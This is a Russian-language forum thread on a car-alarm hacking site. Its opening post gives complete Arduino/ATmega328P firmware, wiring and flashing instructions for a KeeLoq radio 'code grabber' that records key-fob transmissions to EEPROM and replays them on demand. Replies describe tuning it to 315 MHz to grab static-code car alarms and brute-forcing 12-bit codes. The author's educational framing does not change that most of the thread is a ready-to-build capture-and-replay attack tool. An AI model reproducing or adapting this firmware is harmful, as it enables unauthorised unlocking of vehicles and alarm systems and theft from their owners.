Изучение уязвимостей электронных систем.
 
key programming immo tools emergency start device программаторы ключа заводилки Кодграббер штатных охранных систем, toyota, lexus, subaru.

Вернуться   Изучение уязвимостей электронных систем > Для начинающих > Новички

Новички Раздел для новичков. Что такое кодграббер, ретранслятор, подмена кода.

Ответ
 
Опции темы
Старый 31.10.2015, 18:34   #1
fuckduino
Заблокирован
 
Регистрация: 31.10.2015
Сообщений: 3
Поблагодарил: 0
Поблагодарили 6 раз(а) в 1 сообщении
fuckduino стоит на развилке
Сообщение Кодграбер Keeloq на Arduino /Atmega 328p c экраном Nokia, меню и EEPROM.

Представляю вашему вниманию проект кодграбера для Arduino практически любой модели или Atmega 328P и совместимых.
Основные особенности
  • Меню
  • Прием пролетающих посылок и запись их в EEPROM
  • Отправка последней посылки одной кнопкой
  • Поиск по записанным посылкам и отправка.
  • Дисплей Nokia 5110 / Adafruit PCD8544 или практически любой дисплей по шине SPI
  • Работа без дисплея, ориентация по светодиодам
  • Пищалка
  • Внутрисхемная прошивка.
Приятные вещи:
  • Никаких пассивных элементов при использовании Atmega 328P, кроме проводов.
  • Питание 3—5 вольт, практически от любой батарейки/аккумулятора(в теории может работать от 1.8 вольт)
  • Отображение внутреннего напряжения микросхемы.
  • Работа на внутреннем тактовом генераторе микросхемы 8Мгц.

Элементы:
  • Arduino UNO/Mega/Nano/Pro или Atmega 328p и старше
  • Приемник SRX882 или любой другой похожий.
  • Передатчик STX882 или любой другой похожий.
  • Кнопки тактовые 2 шт
  • Пищалка пьезоэлектрическая самая маленькая, какую найдете.
  • Выключатель питания.
  • Дисплей Nokia 5110 c шиной SPI
  • Макетная плата
  • Провод МГТФ.
  • Программатор USBASP

Я дописал один проект, который нашел на просторах. Не могу точно сказать, отсюда он или с другого сайта.
Разводить плату пока не научился, поэтому паял на проводах.

-Как это работает с Ардуино и Atmega328P?
-Если у вас Ардуино, смотрите в начало кода, там все пины подписаны. В крайнем случае воспользуйтесь приложенной схемой, в которой расписано соответствие пинов ардуино и Atmega. Если Atmega, то смотрите в комментарии в начале кода, там все пины подписаны. Ардуино шьете через провод USB, Atmega через программатор USBASP.

-Как прошивать?
-Открываете Arduino IDE, открываете код, приведенный ниже. В Ардуино просто закачиваете.
Для Atmega устанавливаете поддержку Atmega 328p (ссылка в коде), подключаете программатор USBASP, шьете.

-Как выставить правильные фьюзы?
-Скачайте AVRFuses.

-Как не убить Atmega при использовании Arduino IDE?
- НЕ ПРОШИВАЙТЕ Arduino Bootloader. Во-первых, не понятно зачем он нужен, все работает без него. Во-вторых, есть вероятность, что при прошивке Arduino Bootloader, выставится фьюз внешнего осциллятора и вам покажется, что микросхема сдохла.

-Зачем все это?
-Для обучения. Занимаясь с этой программой я много понял в программировании микроконтроллеров, тк являюсь новичком. Keeloq все равно за разумное время не взломать, посылка уже полученного пакета бесполезна. Зато можно организвать домашнюю автоматизацию с помощью такого модуля. И это сделано все на Arduino IDE, так что новичкам будет особенно интересно войти в тему.
Код:
/*
 * ATMEGA 328P
 * Соединить ноги
 * 7-20-21
 * 8-22
 * 
 * Дисплей NOKIA  –  328P
 * 1 RST             13
 * 2 CE              14
 * 3 DC              15
 * 4 DIN             17
 * 5 CLK             19 
 * 6 VCC             7 
 * 7 LIGHT           2
 * 8 GND             8
 * 
 * КНОПКИ           328P
 * GND              8
 * buttonpin1       4
 * buttonpin2       5
 * 
 * ПРИЕМНИК SRX882  328P
 * GND              8
 * DATA             12
 * CS               7  
 * VCC              7
 * 
 * ПЕРЕДАТЧИКSTX882 2328P
 * DATA             11
 * VCC              7
 * GND              8
 * 
 * ПИЩАЛКА          328P
 * -                8
 * -                16
 * 
 * USBASP           328P
 * GND              8
 * VCC              7
 * MOSI             17  
 * RST              1
 * SCK              19
 * MISO             18
 * 
 * СВЕТОДИОДЫ       328P
 * GND              8
 * СИНИЙ            6
 * КРАСНЫЙ          3
 * ЗЕЛЕНЫЙ          12         //ОТКЛЮЧАТЬ ПРИ ПРОШИВКЕ
 * 
 * Правильные Фьюзы по программе AVRFuses, которые должны быть включены. Остальные выключены!
 * Brown-Out Detector trigger level : Brown-out detection disabled 
 * Serial program downloading (SPI) enabled
 * Preserve EEPROM through Chip Erase cycle
 * Select boot size: Boot Flash size = 256 words start address=$S3F00
 * Boot Reset vector Enabled
 * Select clock Source: Int RC Osc 8 MHz; Start-up time PWRDWN/RESET: 6CK/14CK + 0 ms
 * 
 * В ардуино добавить репозитории плат: https://raw.githubusercontent.com/carlosefr/atmega/master/package_carlosefr_atmega_index.json,
 * Библиотеки:
 * https://github.com/adafruit/Adafruit-GFX-Library
 * https://github.com/adafruit/Adafruit-PCD8544-Nokia-5110-LCD-library
 * 
 */

#include <EEPROM.h>
#include <SPI.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_PCD8544.h>
//Adafruit_PCD8544 display = Adafruit_PCD8544(7, 6, 5, 4, 3);  //software spi
Adafruit_PCD8544 display = Adafruit_PCD8544(9, 8, 7); //harware spi

#define txPin 5       //передатчик
#define rxPin 6       //приемник
#define signalPin 10  //пищалка
#define buttonPin1 2
#define buttonPin2 3
#define lightPin 0    //подсветка, выкл - HIGH, вкл - LOW
#define greenLight 12 //Светодиоды
#define redLight 1
#define blueLight 4
int lightState;       //состояние подсветки
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;
unsigned long difTime = 0;
unsigned long lastJoyTime = 0;
unsigned long tempJoyTime = 0;
unsigned long difJoyTime = 0;
boolean bValidPacket = false;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];  //последний пойманный код или код для передачи

const int chipSelect = 4;  //дисплей
int kpress;                //управление меню
int kpress2;

int decodeMethod = EEPROM.read(1023);   //считывает метод передачи, прямой или инвертированный
int currentMemory = EEPROM.read(1022);
int address = 0;  //eeprom
byte value;       //eeprom
int slots = 50;

void toggleDecodeMethod() {         //переключатель метода декодирования
  if (decodeMethod == 1) {          //прямой
    decodeMethod = 0;
    display.setCursor(5, 40);
    display.print("Straight");
    display.display();
  } else if (decodeMethod == 0) {   //обратный
    decodeMethod = 1;
    display.setCursor(5, 40);
    display.print("Reverse");
    display.display();
  } else
  { decodeMethod = 0;               //в eeprom был неправильный и переключаем на обратный
    display.setCursor(0, 40);
    display.print("Was wrong, Reverse");
    display.display();
  }
  EEPROM.update(1023, decodeMethod);//записать в eeprom
}
void displayDecodeMethod() {        //отобразить метод декодирования
  display.setTextColor(WHITE, BLACK);
  display.print("Dec:");
  if (decodeMethod == 1) {
    display.print("Rev");
  }
  else if (decodeMethod == 0) {
    display.print("Fro");
  }
  else {
    display.print("Wro");
  }
  display.display();
}
void send_meander(int time) {       //посылка преамбулы
  digitalWrite(txPin, HIGH);
  delayMicroseconds(time);
  digitalWrite(txPin, LOW);
  delayMicroseconds(time);
}
void showCode() {                   //показать код на экране с комментариями
  display.clearDisplay();
  display.setCursor(0, 0);
  for (int i = 0; i < 9; i++) {
    display.print(keelog_code[i], HEX);
    if (i == 3) {
      display.println("-hop");
    }
    if (i == 6) {
      display.println("-fix");
    }
    if (i == 7) {
      display.print("-btn ");
    }
    if (i == 8) {
      display.println("-dop");
    }
  }
  display.display();
}
void eepromread(int address) {      //считать код из памяти
  display.clearDisplay();
  display.print("Cell:");
  display.println(address);         //какой код сейчас считываем
  display.print( "Mem:");
  display.println(currentMemory);   //сколько всего кодов в памяти записано
  for (int i = 0; i < 10; i++) {
    value = EEPROM.read(address * 10 + i);
    display.print(value, HEX);
    if (i == 3) {
      display.println("-hop");
    }
    if (i == 6) {
      display.println("-fix");
    }
    if (i == 7) {
      display.print("-btn ");
    }
    if (i == 8) {
      display.println("-dop");
    }
    if (i == 9) {
      display.println("-flag");
    }
  }
  display.display();                //дисплей выводит информацию, которая сформирована выше по этой команде
  for (int i = 0; i < 9; i++) {
    keelog_code[i] = EEPROM.read(address * 10 + i); //записать в переменную считанный код, чтобы его можно было отправить
  }
}
void manageMemory(byte gotCode[8]) { //записываем новый код в новую ячейку
  for (int i = 0; i < 9; i++) {
    EEPROM.update(currentMemory * 10 + i, gotCode[i]);
  }
  currentMemory++;
  EEPROM.update(1022, currentMemory); //записываем количество кодов в память
  //  }
}

void keelog_vardump() {             //старая функция для записи и отображения полученного кода
  manageMemory(keelog_code);
  showCode();
  alarm();
  keelog_state = 0;
}

void keelog_send(byte* keelog_code) {     //отправка
  showCode();
  for (int i = 0; i < 11; i++) {          //посылаем преамблу
    send_meander(400);
  }
  //посылаем хедер
  digitalWrite(txPin, HIGH);              //включает передатчик
  delayMicroseconds(400);
  digitalWrite(txPin, LOW);               //выключает передатчик
  delayMicroseconds(4000);

  for ( int i = 0; i < 9; i++) {          //посылает код
    if (decodeMethod == 1) {              //обратное декодирование
      for (int i2 = 7; i2 >= 0; i2--) {   //считывает в бинарном виде код, начиная справа
        if (bitRead(keelog_code[i], i2)) {//если 1
          digitalWrite(txPin, HIGH);
          delayMicroseconds(400);
          digitalWrite(txPin, LOW);
          delayMicroseconds(2 * 400);
        }
        else {                            //если 0
          digitalWrite(txPin, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(txPin, LOW);
          delayMicroseconds(400);
        }
      }
    }
    else {
      for (int i2 = 0; i2 < 8; i2++) {    //прямое декодирование
        if (!bitRead(keelog_code[i], i2)) {//если 0 !!! проверить, почему здесь наоборот!!!
          digitalWrite(txPin, HIGH);
          delayMicroseconds(400);
          digitalWrite(txPin, LOW);
          delayMicroseconds(2 * 400);
        }
        else {                            //если 1
          digitalWrite(txPin, HIGH);
          delayMicroseconds(2 * 400);
          digitalWrite(txPin, LOW);
          delayMicroseconds(400);
        }
      }
    }
  }
  display.setCursor(0, 40);              //написать сообщение, что отправлено
  display.setTextColor(WHITE, BLACK);    //белый текст на черном фоне 
  display.print("Sent");
  display.display();
  alarm();                               //пикнуть
}
void keelog_get() {                       //ловит код
  bValidPacket = false;
  if (keelog_state == 0) { //ждем преамбулу и хедер
    if (difTime > 280 && difTime < 620 && lastRxValue != tempRxValue) {
      keelogCounter ++;
    }
    else {
      if (keelogCounter == 23) {
        digitalWrite(blueLight, HIGH);
        if (difTime > 2800 && difTime < 6200 && lastRxValue == 0) {
          keelog_state = 1;
        }
      }
      keelogCounter = 0;
      digitalWrite(blueLight, LOW);
    }
  }
  else if (keelog_state == 1) { // получаем биты
    if (difTime > 560 && difTime < 1240 && lastRxValue == 1) { // получили 1
      if (decodeMethod == 0) {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B10000000;
      }
      else {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000000;
      }
      bValidPacket = true;
    }
    else if (difTime > 280 && difTime < 620 && lastRxValue == 1) {
      if (decodeMethod == 0) {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B00000000;
      }
      else {
        keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000001;
      }
      bValidPacket = true;
    }
    else if (lastRxValue == 0) {
    }
    else {
      keelog_state = 1;
      keelogCounter = 0;
    }

    if (bValidPacket) {
      keelogCounter++;
      if (keelogCounter == 66) {
        keelog_vardump();
        keelogCounter = 0;
        keelog_state = 0;
        alarm();
      }
    }
  }
}

void displayvcc() {                             //показать напряжение
  display.setTextColor(BLACK, WHITE);
  display.print( readVcc(), DEC );
  display.print("mV");
  display.display();
}
long readVcc() {                                 //считать напряжение
  long result;
  // Read 1.1V reference against AVcc
  ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);
  delay(2); // Wait for Vref to settle
  ADCSRA |= _BV(ADSC); // Convert
  while (bit_is_set(ADCSRA, ADSC));
  result = ADCL;
  result |= ADCH << 8;
  result = 1126400L / result; // Back-calculate AVcc in mV
  return result;
}

void buttons() {                                 //меню
  String menuitems[] = {"Last", "Decode", "Read_eeprom", "Flag/Unflag", "Light", "Exit"};
  static unsigned long last_interrupt_time = 0;  //устранение дребезжания кнопок
  unsigned long interrupt_time = millis();
  if (interrupt_time - last_interrupt_time > 150)
  {
    if (!digitalRead(buttonPin1)) {               //при нажатии кнопки вывести меню
      //    alarm();
      kpress = (kpress + 1) % 6;                  //считает, какой пункт меню выбран
      display.clearDisplay();
      display.setCursor(60, 0);
      display.setTextColor(WHITE, BLACK);
      display.print("MENU");
      display.display();
      display.setCursor(0, 0);
      display.setTextColor(BLACK, WHITE);
      for (int i; i < 7; i++)
      {
        if (i == kpress)                            
        {
          display.setTextColor(WHITE, BLACK);   //если выбран данный пункт меню, сделать белый текст на черном фоне
        }
        display.println(menuitems[i]);              
        display.setTextColor(BLACK, WHITE);
      }
      display.setCursor(42, 8);
      displayDecodeMethod();
      display.display();
    }

    if (!digitalRead(buttonPin2)) {           //кнопка2, выполнит выбранный пункт меню
      alarm();
      if (kpress == 0) {                      //послать
        keelog_send(keelog_code);
      }
      if (kpress == 1) {                      //переключить декодер
        toggleDecodeMethod();
      }
      if (kpress == 2) {                      //считать из памяти
        eepromread(kpress2);                  //в памяти записано, на чем мы остановились
        kpress2 = (kpress2 + 1) % 100;        
      }
      if (kpress == 3) {                      //поставить флаг
        flagUnflag();
      }
      if (kpress == 4) {                      //вкл/выкл подсветки
        toggleLight();
      }
      if (kpress == 5) {                      //сбросить

        kpress2 = 0;                    
      }
    }
    display.setCursor(43, 0);
    display.println(kpress);
    if (kpress2 < 10) {
      display.setCursor(79, 16);
    } else {
      display.setCursor(72, 16);
    }
    display.println(kpress2);
    display.setCursor(48, 40);
    displayvcc();                             //показать напряжение
    display.display();
    /*                                        //если подключен трехцветный светодиод, показать пункт меню цветом
    if (kpress == 0) {digitalWrite(redLight, HIGH);digitalWrite(blueLight, LOW);digitalWrite(greenLight, LOW);}
    if (kpress == 1) {digitalWrite(redLight, HIGH);digitalWrite(blueLight, HIGH);digitalWrite(greenLight, LOW);}
    if (kpress == 2) {digitalWrite(redLight, HIGH);digitalWrite(blueLight, HIGH);digitalWrite(greenLight, HIGH);}
    if (kpress == 3) {digitalWrite(redLight, LOW);digitalWrite(blueLight, HIGH);digitalWrite(greenLight, HIGH);}
    if (kpress == 4) {digitalWrite(redLight, LOW);digitalWrite(blueLight, LOW);digitalWrite(greenLight, HIGH);}
    if (kpress == 5) {digitalWrite(redLight, HIGH);digitalWrite(blueLight, LOW);digitalWrite(greenLight, HIGH);}
    */
  }
  last_interrupt_time = interrupt_time;
}


void alarm() {                              //пищалка
  tone(signalPin, 3500, 50);
  //noTone(signalPin);                    
  //noTone(redLight);
  //noTone(blueLight);
  //noTone(greenLight);
  //  tone(redLight, 2, 500);               //мигалка
}
void blueAlarm() {                          //еще одна мигалка
  noTone(signalPin);
  noTone(redLight);
  noTone(blueLight);
  noTone(greenLight);
  tone(blueLight, 2, 1000);
}

void toggleLight() {                        //переключатель подсветки
  if (lightState == 0) {
    digitalWrite(lightPin, HIGH);
    lightState = 1;
  } else {
    digitalWrite(lightPin, LOW);
    lightState = 0;
  }
}
void flagUnflag() {                         //пометить флагом
  int flagValue = EEPROM.read(kpress2 * 10 + 9);
  if (flagValue == 0)
  {
    flagValue = 1;
    display.setCursor(77, 24);
    display.setTextColor(WHITE, BLACK);
    display.print("0");
    display.display();
  } else if (flagValue == 1) {
    flagValue = 0;
    display.setCursor(77, 24);
    display.setTextColor(WHITE, BLACK);
    display.print("1");
    display.display();
  } else
  {
    flagValue = 0;
    display.setCursor(77, 24);
    display.setTextColor(WHITE, BLACK);
    display.print("0");
    display.display();
  }
  EEPROM.update(kpress2 * 10 + 9, flagValue);
}

void loop() {                         //основной луп, ничего тут менят не нужно, перестанет ловить
  tempRxValue = digitalRead(rxPin);
  if (tempRxValue != lastRxValue) {
    tempTime = micros();
    difTime = tempTime - lastRxTime;
    keelog_get();
    lastRxTime = tempTime;
    lastRxValue = tempRxValue;
  }
}
void setup() { 
  display.begin();                          //инициализация дисплея
  pinMode(buttonPin1, INPUT_PULLUP);        //внутренний резистор для кнопок
  pinMode(buttonPin2, INPUT_PULLUP);
  pinMode(lightPin, OUTPUT);                //подсветка
  digitalWrite(lightPin, HIGH);             //выключить подсветку при включении схемы
  attachInterrupt(0, buttons, FALLING);     //прерывание для кнопок, чтобы меню работало вне зависимости от того, что сейчас происходит
  attachInterrupt(1, buttons, FALLING);
  display.setContrast(60);                  //контрастность (настраивайте в зависимости от батарейки
  display.clearDisplay();                 
  display.setTextSize(1);
  display.setTextColor(BLACK);
  pinMode(txPin, OUTPUT);                   //передатчик
  pinMode(rxPin, INPUT);                    //приемник
  pinMode(signalPin, OUTPUT);               //пищалка
  pinMode(blueLight, OUTPUT);               //светодиоды
  pinMode(redLight, OUTPUT);
  pinMode(greenLight, OUTPUT);
  lastRxValue = digitalRead(rxPin);       
  lastRxTime = micros();
  blueAlarm();
  displayvcc();
  displayDecodeMethod();
  EEPROM.update(1022, 0);                   //при первом запуске выставить 0 ячейку памяти. один раз прошьете с этим параметром, потом закомментируйте и прошейте еще раз
}
Миниатюры
Raspinovka_Arduino_Uno.jpg  
fuckduino вне форума   Ответить с цитированием
Старый 31.10.2015, 22:14   #2
ava
случайно влез
 
Регистрация: 20.10.2014
Сообщений: 13
Поблагодарил: 2
Поблагодарили 1 раз в 1 сообщении
ava стоит на развилке
По умолчанию

молоток))
впринципе, если поставить приёмник на 315 мгц, то должен сойти за рабочий граб, так как статика именно на этой волне)
ava вне форума   Ответить с цитированием
Старый 01.11.2015, 21:31   #3
sinobi2006
начинающий фрикер
 
Аватар для sinobi2006
 
Регистрация: 21.08.2006
Адрес: Екатеринбуржская область ;)
Сообщений: 517
Поблагодарил: 41
Поблагодарили 81 раз в 71 сообщениях
sinobi2006 стоит на развилке
По умолчанию

Под этот проект еще шилд забубенить и красота!


Не надо мне 15 раз повторять,я с 9го понимаю!
----------------------------------------------------------------------------------------------
Если тебе пригодился меч один раз,носи его с собой всю жизнь.(Старая китайская мудрость)
sinobi2006 вне форума   Ответить с цитированием
Старый 02.11.2015, 00:13   #4
fuckduino
Заблокирован
 
Регистрация: 31.10.2015
Сообщений: 3
Поблагодарил: 0
Поблагодарили 6 раз(а) в 1 сообщении
fuckduino стоит на развилке
По умолчанию

В принципе думаю над тем, чтобы развести плату. Но для моих целей это потеряло актуальность.
Посмотрим.
Цитата:
Сообщение от sinobi2006 Посмотреть сообщение
Под этот проект еще шилд забубенить и красота!

добавлено через 1 минуту
Я думаю, тут вобще не важна частота. Так что можно любой приемник, да.
Цитата:
Сообщение от ava Посмотреть сообщение
молоток))
впринципе, если поставить приёмник на 315 мгц, то должен сойти за рабочий граб, так как статика именно на этой волне)

fuckduino вне форума   Ответить с цитированием
Старый 02.11.2015, 09:28   #5
sinobi2006
начинающий фрикер
 
Аватар для sinobi2006
 
Регистрация: 21.08.2006
Адрес: Екатеринбуржская область ;)
Сообщений: 517
Поблагодарил: 41
Поблагодарили 81 раз в 71 сообщениях
sinobi2006 стоит на развилке
По умолчанию

Думаю актуально сейчас ханы ,стары и шлаги..Ибо Дурхан система по типу килока.Саме статика которую можно и брутом при12 битах или грабить при 24 битах


Не надо мне 15 раз повторять,я с 9го понимаю!
----------------------------------------------------------------------------------------------
Если тебе пригодился меч один раз,носи его с собой всю жизнь.(Старая китайская мудрость)
sinobi2006 вне форума   Ответить с цитированием
Старый 02.11.2015, 13:08   #6
suckduino
Заблокирован
 
Регистрация: 02.11.2015
Сообщений: 1
Поблагодарил: 0
Поблагодарили 0 раз в 0 сообщениях
suckduino стоит на развилке
По умолчанию

Заблокировали по причине: Бот. Хотя вроде бы тема понравилась паре человек.
Ну да, я зарегистрировал новый аккаунт на одноразовую почту, а кто в здравом уме так не делает?
suckduino вне форума   Ответить с цитированием
Старый 02.11.2015, 14:26   #7
333fpv
случайно влез
 
Регистрация: 29.10.2014
Сообщений: 5
Поблагодарил: 1
Поблагодарили 1 раз в 1 сообщении
333fpv стоит на развилке
По умолчанию

Сделай фото своего устройства ... интересно как у автора компоновка временная .
Зачем нужен второй аккаунт ? ума не приложу все такие скрытные .
333fpv вне форума   Ответить с цитированием
Старый 02.11.2015, 15:50   #8
sinobi2006
начинающий фрикер
 
Аватар для sinobi2006
 
Регистрация: 21.08.2006
Адрес: Екатеринбуржская область ;)
Сообщений: 517
Поблагодарил: 41
Поблагодарили 81 раз в 71 сообщениях
sinobi2006 стоит на развилке
По умолчанию

Цитата:
Сообщение от 333fpv Посмотреть сообщение
Сделай фото своего устройства ... интересно как у автора компоновка временная .
Зачем нужен второй аккаунт ? ума не приложу все такие скрытные .

Чтоб долбоящеры тупыми вопросами не заваливали нормальный ящик.Админы имейте совесть не баньте автора!


Не надо мне 15 раз повторять,я с 9го понимаю!
----------------------------------------------------------------------------------------------
Если тебе пригодился меч один раз,носи его с собой всю жизнь.(Старая китайская мудрость)
sinobi2006 вне форума   Ответить с цитированием
Старый 02.11.2015, 20:17   #9
333fpv
случайно влез
 
Регистрация: 29.10.2014
Сообщений: 5
Поблагодарил: 1
Поблагодарили 1 раз в 1 сообщении
333fpv стоит на развилке
По умолчанию

Автор не обижайся это не модераторы банят .
Где то видел правило (нельзя создавать ботов иначе робот банит )
333fpv вне форума   Ответить с цитированием
Старый 02.11.2015, 20:50   #10
StelsST
гость
 
Регистрация: 01.04.2014
Сообщений: 182
Поблагодарил: 9
Поблагодарили 63 раз в 51 сообщениях
StelsST стоит на развилке
По умолчанию

Цитата:
Сообщение от suckduino Посмотреть сообщение
Заблокировали по причине: Бот. Хотя вроде бы тема понравилась паре человек.
Ну да, я зарегистрировал новый аккаунт на одноразовую почту, а кто в здравом уме так не делает?


интересный ты парень создал новый акк на том же компе а слодовательно тот же айпи и мак.
какой смысол тогда? судя по всему днс ты не используешь.
StelsST вне форума   Ответить с цитированием
Ответ

Метки
arduino, atmega, keeloq


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Сломался кодграбер elena123 Флейм 3 20.05.2015 20:35
Выучил язык C для Arduino hustla Новички 1 17.07.2012 19:21
[Проблема] Arduino и Globalsat EM-411 иероглифы alcogol Спутниковые системы 2 02.03.2011 23:32
Меню и фон для автомагнитол с тачскрином ltplm Автомагнитолы 0 26.04.2009 11:08
кодграбер. medved1967 Охранные системы 17 13.02.2007 02:00


Текущее время: 15:25. Часовой пояс GMT +4.


Перевод: zCarot